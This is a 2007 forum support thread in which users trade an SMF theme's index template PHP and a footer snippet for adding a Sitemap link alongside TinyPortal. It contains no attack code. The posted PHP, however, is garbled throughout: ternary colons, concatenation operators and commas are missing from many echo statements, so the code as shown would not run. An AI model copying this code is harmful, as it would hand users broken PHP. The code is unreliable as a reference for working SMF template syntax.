echo ($current_action == 'chat' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'chat' 'active_back' 'back' '">
<a href="'
$scripturl'?action=chat"', (!empty($modSettings['fc_newWindow']) ? ' target="_blank"' ''), '>'$txt['fc_chat'], (!empty($modSettings['fc_showUserCount']) && !empty($context['num_chat']) ? ' [<strong>' $context['num_chat'] . ' ' . ($context['num_chat'] == $txt['user'] : $txt['users']) . '</strong>]' ''), '</a>
</td>' 
$current_action == 'chat' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// the [member] list button
if ($context['allow_memberlist'])
echo ($current_action == 'mlist' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'mlist' 'active_back' 'back' '">
<a href="'
$scripturl'?action=mlist">' $txt[331] , '</a>
</td>' 
$current_action == 'mlist' '<td class="maintab_active_' $last '">&nbsp;</td>' '';


// If the user is a guest, show [login] button.
if ($context['user']['is_guest'])
echo ($current_action == 'login' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'login' 'active_back' 'back' '">
<a href="'
$scripturl'?action=login">' $txt[34] , '</a>
</td>' 
$current_action == 'login' '<td class="maintab_active_' $last '">&nbsp;</td>' '';


// If the user is a guest, also show [register] button.
if ($context['user']['is_guest'])
echo ($current_action == 'register' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'register' 'active_back' 'back' '">
<a href="'
$scripturl'?action=register">' $txt[97] , '</a>
</td>' 
$current_action == 'register' '<td class="maintab_active_' $last '">&nbsp;</td>' '';


// Otherwise, they might want to [logout]...
if ($context['user']['is_logged'])
echo ($current_action == 'logout' || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' '
<td valign="top" class="maintab_' 
$current_action == 'logout' 'active_back' 'back' '">
<a href="'
$scripturl'?action=logout;sesc='$context['session_id'], '">' $txt[108] , '</a>
</td>' 
$current_action == 'logout' '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// The end of tab section.
echo '
<td class="maintab_' 
$last '">&nbsp;</td>
'
;
// TinyPortal
 if($context['TPortal']['leftbar'])
             echo 
'<td style="padding-left: 1ex;"><a href="javascript:void(0);" onclick="shrinkHeaderLeftbar(!current_leftbar); return false;"><img id="upshrinkLeftbar" src="'$settings['images_url'], '/', empty($options['collapse_leftbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 0;" border="0" /></a><img id="upshrinkTempLeftbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 0ex;" /></td>';
         if(
$context['TPortal']['rightbar'])
             echo 
'<td style="padding-left: 1ex;"><a href="javascript:void(0);" onclick="shrinkHeaderRightbar(!current_rightbar); return false;"><img id="upshrinkRightbar" src="'$settings['images_url'], '/', empty($options['collapse_rightbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 0;" border="0" /></a><img id="upshrinkTempRightbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 0ex;" /></td>';
// TinyPortal end
echo '
</tr>
</table>'
;

}

// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$buttons$context$txt$scripturl;

// Create the buttons...
foreach ($button_strip as $key => $value)
{
if (isset($value['test']) && empty($context[$value['test']]))
{
unset($button_strip[$key]);
continue;
}
elseif (!isset($buttons[$key]) || $force_reset)
$buttons[$key] = '<a href="' $value['url'] . '" ' .( isset($value['custom']) ? $value['custom'] : '') . '>' $txt[$value['text']] . '</a>';

$button_strip[$key] = $buttons[$key];
}

if (empty($button_strip))
return '<td>&nbsp;</td>';

echo '
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'last' 'first' '">&nbsp;</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_back">'implode(' &nbsp;|&nbsp; '$button_strip) , '</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'first' 'last' '">&nbsp;</td>';
}

?>


Thanks! Merry Christmas!  ;)
Title: Re: SMF Sitemap
Post by: tiger5226 on December 27, 2007, 01:13:05 AM
You must install it manually using a pakage parser. It will show you excatly what and where to copy paste code. :) in that particular file.

Mark
Title: Re: SMF Sitemap
Post by: SlammedDime on December 27, 2007, 03:54:46 PM
It happens because of TinyPortal.

Replace                                         ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

with
                                        ', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
   
Title: Re: SMF Sitemap
Post by: A2xA on December 28, 2007, 09:43:10 PM
hmmm...I replaced it, but it still seems to give me the same error


Replaced Part:

<td valign="middle" align="center" style="white-space: nowrap;" class="copyright-links">
', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
</td>
<td width="28%" valign="middle" align="right" class="copyright-links">
<a href="http://www.mysql.com/" target="_blank" style="font-size:10px;">MySQL</a>&nbsp;|&nbsp;<a href="http://www.php.net/" target="_blank" style="font-size:10px;">PHP</a>&nbsp;|&nbsp;<a href="http://validator.w3.org/check/referer" target="_blank" style="font-size:10px;">XHTML</a>&nbsp;|&nbsp;<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank" style="font-size:10px;">CSS</a>
</td>



Whole File:

<?php
// Version: 1.1 RC3; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '1.1 RC3';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status seperate from topic icons? Leave true, icons don't exist for false.*/
$settings['seperate_sticky_lock'] = true;
}

// The main sub template above the content.
function template_main_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
 <meta name="description" content="Nintendo Wii Forum Community, Wii News, Tournaments and Games alongside the latest gaming news and rumours">
<meta name="keywords" content="Nintendo, Wii, Forum, news, discussion, wii gaming, wii release, wii tournaments, wii online" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/script.js?rc3"></script>
     <script language="javascript" type="text/javascript" src="'
$settings['theme_url'], '/dropdown.js"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
// ]]></script>
<title>'
$context['page_title'], '</title>';
// The ?rc3 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style.css?rc3" />
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/print.css?rc3" media="print" />';
/* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...)
Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual.
Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big.
Standards compliance mode happens when you use xhtml... */
if ($context['browser']['needs_size_fix'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/fonts-compat.css" />';
// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" target="_blank" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="' 
$scripturl '?board=' $context['current_board'] . '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
$options['collapse_header'] = !empty($_COOKIE['upshrink']);

// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '
        <script language="JavaScript" type="text/javascript">
                var current_leftbar = '
, empty($options['collapse_leftbar']) ? 'false' 'true'';
                function shrinkHeaderLeftbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        document.getElementById("upshrinkTempLeftbar").src = "'
$scripturl'?action=jsoption;var=collapse_leftbar;val=" + (mode ? 1 : 0) + ";sesc='$context['session_id'], ';" + (new Date().getTime());';

        echo 
'
                        document.getElementById("upshrinkLeftbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");
                        document.getElementById("leftbarHeader").style.display = mode ? "none" : "";
                        current_leftbar = mode;
                }
         // --></script>
        <script language="JavaScript" type="text/javascript"><!--
                var current_rightbar = '
, empty($options['collapse_rightbar']) ? 'false' 'true'';
                function shrinkHeaderRightbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        document.getElementById("upshrinkTempRightbar").src = "'
$scripturl'?action=jsoption;var=collapse_rightbar;val=" + (mode ? 1 : 0) + ";sesc='$context['session_id'], ';" + (new Date().getTime());';

        echo 
'
                        document.getElementById("upshrinkRightbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");
                        document.getElementById("rightbarHeader").style.display = mode ? "none" : "";
                        current_rightbar = mode;
                }
       // --></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header = '
, empty($options['collapse_header']) ? 'false' 'true'';

function shrinkHeader(mode)
{'
;

// Guests don't have theme options!!
if ($context['user']['is_guest'])
echo '
document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

document.getElementById("upshrinkHeader").style.display = mode ? "none" : "";
document.getElementById("upshrinkHeader2").style.display = mode ? "none" : "";

current_header = mode;
}
// ]]></script>'
;

// the routine for the info center upshrink
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header_ic = '
, empty($options['collapse_header_ic']) ? 'false' 'true'';

function shrinkHeaderIC(mode)
{'
;

if ($context['user']['is_guest'])
echo '
document.cookie = "upshrinkIC=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header_ic", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink_ic").src = smf_images_url + (mode ? "/expand.gif" : "/collapse.gif");

document.getElementById("upshrinkHeaderIC").style.display = mode ? "none" : "";

current_header_ic = mode;
}
// ]]></script>
</head>
<body>'
;
// TinyPortal start
     
if($context['TPortal']['fixed_width']!=0)
             echo 
'<table align="center" width="'.$context['TPortal']['fixed_width'].'" cellpadding="0" cellspacing="0" border="0"><tr><td>';
// TinyPortal end

//Change width to 100% if you want it fluid.
echo '
<div align="center">'
;

//This controls the width of the forum. Adjust in the CSS.
echo '
<div id="widthControl">'
;

//Display the main header
echo '
<div class="logo-border">
<div class="logo-box"><a href="'
$scripturl'"><img src="' $settings['images_url'] . '/logo.gif" width="225" height="75" alt="'$context['page_title'], '" title="'$context['page_title'], '" /></a></div>
<div class="navBar">
<!-- BEGIN mainNav -->
'
template_menu(), '
<!-- END mainNav -->
</div>
</div>'
;

// If you want to put some ads or something on your pages, add them in this.
echo '
<div id="blank-box"></div>'
;

if($context['user']['is_guest'])
{
echo '
<div class="Warn-guest">Welcome Guest, please <a href="'
$scripturl'?action=login">login</a> or <a href="'$scripturl'?action=register">register</a>.</div>';
}

echo '
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" valign="top" style="padding: 10px 0 0 0;">
<div style="text-align:left;">'
;

echo '
<div class="tborder" '
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' style="width: 100%;"' '''>';

// display the user info panel
echo '
<table width="100%" cellspacing="0" cellpadding="4" class="bordercolor" border="0">
<tr>'
;

echo '
<td align="left" valign="middle" class="windowbg2">'
;

if($context['user']['is_guest'])
{
echo '
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/sha1.js"></script>

<form action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" class="middletext" style="margin: 3px 1ex 1px 0;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
<table border="0" cellpadding="1" cellspacing="0">
<tr>
<td>Username:</td>
<td><input type="text" name="user" size="10" /></td>
<td><select name="cookielength">
<option value="60">'
$txt['smf53'], '</option>
<option value="1440">'
$txt['smf47'], '</option>
<option value="10080">'
$txt['smf48'], '</option>
<option value="43200">'
$txt['smf49'], '</option>
<option value="-1" selected="selected">'
$txt['smf50'], '</option>
</select></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="password" name="passwrd" size="10" /></td>
<td><input type="submit" value="'
$txt[34], '" /></td>
</tr>
</table>
<input type="hidden" name="hash_passwrd" value="" />
</form>'
;
}

if($context['user']['is_logged'])
{
echo '
<strong>Welcome back, '
$context['user']['name'] , '.</strong>';
}

if ($context['allow_admin'])
{
echo '
&nbsp;(<span class="smalltext"><a href="'
$scripturl'?action=admin">Admin CP</a></span>&nbsp;-';
}

if ($context['user']['is_logged'])
{
echo '
<span class="smalltext"><a href="'
$scripturl'?action=profile">User CP</a></span>&nbsp;-&nbsp;<span class="smalltext"><a href="'$scripturl'?action=logout;sesc='$context['session_id'], '">' $txt[108] , '</a></span>)';
}

if($context['user']['is_logged'])
{
echo '
<br />
<span class="smalltext"><a href="'
$scripturl'?action=unread">View New Posts</a></span>&nbsp;|&nbsp;<span class="smalltext"><a href="'$scripturl'?action=unreadreplies">View New Replies</a></span>';
}

            
// Go to PM center... [pm]
if ($context['user']['is_logged'] && $context['allow_pm'])
{
echo ((isset($current_action) && $curent_action == 'pm') || $context['browser']['is_ie4']) ? '' '' '
|&nbsp;<span class="smalltext"><a href="'
$scripturl'?action=pm">Private Messages</a>: '$context['user']['unread_messages'] . ''$context['user']['unread_messages'] > '<img src="' $settings['images_url'] . '/icons/pmnotify.gif" width="12" height="12" align="absmiddle" />' '' '&nbsp;Unread, '$context['user']['messages'], ' Total.</span>';
}
echo '
</td>
<td align="left" valign="middle" width="250" class="windowbg">'
;
// TinyPortal
         
if($context['TPortal']['leftbar'])
             echo 
'<a href="#" onclick="shrinkHeaderLeftbar(!current_leftbar); return false;"><img id="upshrinkLeftbar" src="'$settings['images_url'], '/', empty($options['collapse_leftbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 1ex;" border="0" /></a><img id="upshrinkTempLeftbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 2ex;" />';
         if(
$context['TPortal']['rightbar'])
             echo 
'<a href="#" onclick="shrinkHeaderRightbar(!current_rightbar); return false;"><img id="upshrinkRightbar" src="'$settings['images_url'], '/', empty($options['collapse_rightbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 0;" border="0" /></a><img id="upshrinkTempRightbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 2ex;" />';
// TinyPortal ends
          // Show the total time logged in?
if ($context['user']['is_logged'])
{
echo '
'
$txt['totalTimeLogged1'], '<br />';

// If days is just zero, don't bother to show it.
if ($context['user']['total_time_logged_in']['days'] > 0)
echo $context['user']['total_time_logged_in']['days'] . $txt['totalTimeLogged2'];

// Same with hours - only show it if it's above zero.
if ($context['user']['total_time_logged_in']['hours'] > 0)
echo $context['user']['total_time_logged_in']['hours'] . $txt['totalTimeLogged3'];

// But, let's always show minutes - Time wasted here: 0 minutes ;).
echo $context['user']['total_time_logged_in']['minutes'], $txt['totalTimeLogged4'], '<br />';
}
echo '
</td></tr></table>
</div>'
;

// The main content should go here.  A table is used because IE 6 just can't handle a div.
        
echo '<div id="bodyarea" style="padding: 10px 8px 0px 8px;">
        <table width="100%" cellpadding="0" cellspacing="0" border="0"><tr>'
;

    
// TinyPortal integrated bars
          
if($context['TPortal']['leftbar'])
          {
              echo 
'<td width="' ,$context['TPortal']['leftbar_width'], '" style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; background-color: transparent; padding-top: 4px;" valign="top">
                 <div id="leftbarHeader"'
, empty($options['collapse_leftbar']) ? '' ' style="display: none;"'' style="padding-top: 5px; width: ' ,$context['TPortal']['leftbar_width'], 'px;">';
                 
TPortal_sidebar('left');
              echo 
'</div></td>';
          }

        echo 
'<td width="100%" align="left" valign="top" style="padding-top: 10px; padding-bottom: 10px;">';
        if(
$context['TPortal']['centerbar'])
                     echo 
'<div>' TPortal_sidebar('center') , '</div>';
}

function 
template_main_below()
{
global $context$settings$options$scripturl$txt;

    echo '</td>';
         
// TinyPortal integrated bars
          
if($context['TPortal']['rightbar']){
              echo 
'<td style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; background-color: transparent; padding-top: 4px;" valign="top" align="right">
                 <div id="rightbarHeader"'
, empty($options['collapse_rightbar']) ? '' ' style="display: none;"'' style="width: ' ,$context['TPortal']['rightbar_width'], 'px; text-align: left; padding-top: 5px;">';
              
TPortal_rightbar();
              echo 
'</div></td>';
          }
        echo 
'</tr></table></div>';

// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '

<div id="footerarea" style="text-align: center; padding-bottom: 1ex;'
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' width: 100%;' '''">
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
function smfFooterHighlight(element, value)
{
element.src = smf_images_url + "/" + (value ? "h_" : "") + element.id + ".gif";
}
// ]]></script>
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="left">
<a href="http://www.webtechnica.net/" target="_blank"><img src="'
$settings['images_url'], '/88x31_banner_white.gif" width="88" height="31" alt="Theme by webtechnica.net" title="Theme by webtechnica.net" /></a>
</td>
<td valign="middle" align="center" style="white-space: nowrap;" class="copyright-links">
'
theme_copyright(), ' <br />'tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'
.$scripturl.'?action=sitemap">Sitemap</a></span>
</td>
<td width="28%" valign="middle" align="right" class="copyright-links">
<a href="http://www.mysql.com/" target="_blank" style="font-size:10px;">MySQL</a>&nbsp;|&nbsp;<a href="http://www.php.net/" target="_blank" style="font-size:10px;">PHP</a>&nbsp;|&nbsp;<a href="http://validator.w3.org/check/referer" target="_blank" style="font-size:10px;">XHTML</a>&nbsp;|&nbsp;<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank" style="font-size:10px;">CSS</a>
</td>
</tr>
</table>'
;

// Show the load time?
if ($context['show_load_time'])
echo '
<span class="smalltext">'
$txt['smf301'], $context['load_time'], $txt['smf302'], $context['load_queries'], $txt['smf302b'], '</span>';

// This is an interesting bug in Internet Explorer AND Safari. Rather annoying, it makes overflows just not tall enough.
if (($context['browser']['is_ie'] && !$context['browser']['is_ie4']) || $context['browser']['is_mac_ie'] || $context['browser']['is_safari'])
{
// The purpose of this code is to fix the height of overflow: auto div blocks, because IE can't figure it out for itself.
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA['
;

// Unfortunately, Safari does not have a "getComputedStyle" implementation yet, so we have to just do it to code...
if ($context['browser']['is_safari'])
echo '
window.addEventListener("load", smf_codeFix, false);

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if ((codeFix[i].className == "code" || codeFix[i].className == "post" || codeFix[i].className == "signature") && codeFix[i].offsetHeight < 20)
codeFix[i].style.height = (codeFix[i].offsetHeight + 20) + "px";
}
}'
;
else
echo '
var window_oldOnload = window.onload;
window.onload = smf_codeFix;

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = codeFix.length - 1; i > 0; i--)
{
if (codeFix[i].currentStyle.overflow == "auto" && (codeFix[i].currentStyle.height == "" || codeFix[i].currentStyle.height == "auto") && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0) && (codeFix[i].offsetHeight != 0 || codeFix[i].className == "code"))
codeFix[i].style.height = (codeFix[i].offsetHeight + 36) + "px";
}

if (window_oldOnload)
{
window_oldOnload();
window_oldOnload = null;
}
}'
;

echo '
// ]]></script>'
;
}
// TinyPortal
         
echo '</div>';
     if(
$context['TPortal']['fixed_width']!=0)
             echo 
'</td></tr></table>';
// end
echo '
</div>
</td>
</tr>
</table>
</div>'
;

// The following will be used to let the user know that some AJAX process is running
echo '
<div id="ajax_in_progress" style="display: none;'
$context['browser']['is_ie'] && !$context['browser']['is_ie7'] ? 'position: absolute;' '''">'$txt['ajax_in_progress'], '</div>
</div>
</div>
</body></html>'
;
}

// If the user is logged in, display stuff like their  new messages, etc...
function theme_newestlink()
{
global $context$settings$options$scripturl$txt;

if ($context['user']['is_logged'])
{
echo '
<a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a>&nbsp;|&nbsp;<a href="'$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a>';

}
// Otherwise they're a guest - send them a lovely greating...
else
echo $txt['welcome_guest'];
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree()
{
global $context$settings$options;

echo '<div class="nav-tree" style="font-size: smaller; margin-bottom: 2ex; margin-top: 2ex;text-align:left;">';

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;<img src="' $settings['images_url'] . '/treeNav_devider.gif" width="21" height="21" align="absmiddle" alt="" />&nbsp;';
}

echo '</div>';
}

//Show a linktree (this one is a vB look alike, vB clone is below).
function theme_linktree2()
{
global $context$settings$options;

// Folder style or inline?  Inline has a smaller font.
echo '<span class="nav-tree" style="font-size: smaller;">';

// Each tree item has a URL and name.  Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show pretty folder
if ($link_num == 0)
{
echo '<img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp; ';
}
else if ($link_num == 1)
{
echo '<img src="' $settings['images_url'] . '/icons/linktree_side.gif" alt="|-" border="0" /><img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp; ';
}
else
{
echo '&raquo; ';
}

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

if ($link_num == 0)
{
echo '<br />';
}
}

echo '</span>';
}

// Show a linktree (vB Clone).  This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree3()
{
        global 
$context$settings$options;

        
// Folder style or inline?  Inline has a smaller font.
        
echo '<span class="nav-tree">';

echo '<img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp;';

        
// Each tree item has a URL and name.  Some may have extra_before and extra_after.
        
foreach ($context['linktree'] as $link_num => $tree)
        {
                
// Show something before the link?
                
if (isset($tree['extra_before']))
                        echo 
$tree['extra_before'];

                if ((
$link_num == count($context['linktree']) - 1) && count($context['linktree'])>1)
                        echo 
'<br />
<img src="' 
$settings['images_url'] . '/icons/linktree_side.gif" alt="|-" border="0" /><img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp;';

                
// Show the link, including a URL if it should have one.
                
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

                
// Show something after the link...?
                
if (isset($tree['extra_after']))
                        echo 
$tree['extra_after'];

                
// Don't show a separator for the last one.
                
if ($link_num count($context['linktree']) - 2)
                        echo 
'&nbsp;&raquo;&nbsp;';

        }

        echo 
'</span>';
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

// Work out where we currently are.
$current_action 'home';
if (in_array($context['current_action'], array('admin''ban''boardrecount''cleanperms''detailedversion''dumpdb''featuresettings''featuresettings2''findmember''maintain''manageattachments''manageboards''managecalendar''managesearch''membergroups''modlog''news''optimizetables''packageget''packages''permissions''pgdownload''postsettings''regcenter''repairboards''reports''serversettings''serversettings2''smileys''viewErrorLog''viewmembers')))
$current_action 'admin';
if (in_array($context['current_action'], array('search''admin''calendar''profile''mlist''register''login''help''pm''forum')))
$current_action $context['current_action'];
if ($context['current_action'] == 'search2')
$current_action 'search';
if ($context['current_action'] == 'theme')
$current_action = isset($_REQUEST['sa']) && $_REQUEST['sa'] == 'pick' 'profile' 'admin';

// Are we using right-to-left orientation?
if ($context['right_to_left'])
{
$first 'last';
$last 'first';
}
else
{
$first 'first';
$last 'last';
}

// Show the start of the tab section.
echo '
<table cellpadding="0" cellspacing="0" border="0">
<tr>'
;

// Show the [home] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'">' $txt[103] , '</a></td>';

// Show the [forum] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=forum">Forum</a></td>';


 
// show the [Game Hubs] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="http://www.forum.wiicharged.com/chat/flashchat.php">Game Hubs</a></td>'
;


// Show the [help] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=help">' $txt[119] , '</a></td>';

// Show the [arcade] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=arcade">' $txt['arcade'] , '</a></td>';

// How about the [search] button?
if ($context['allow_search'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=search" onClick="return overlay(this, \'subcontent\',\'bottom\')">' $txt[182] , '<img src="'$settings['images_url'], '/search_down.gif" width="10" height="10" /></a>
<!--Do not remove outer most DIV tag with id="subcontent"-->
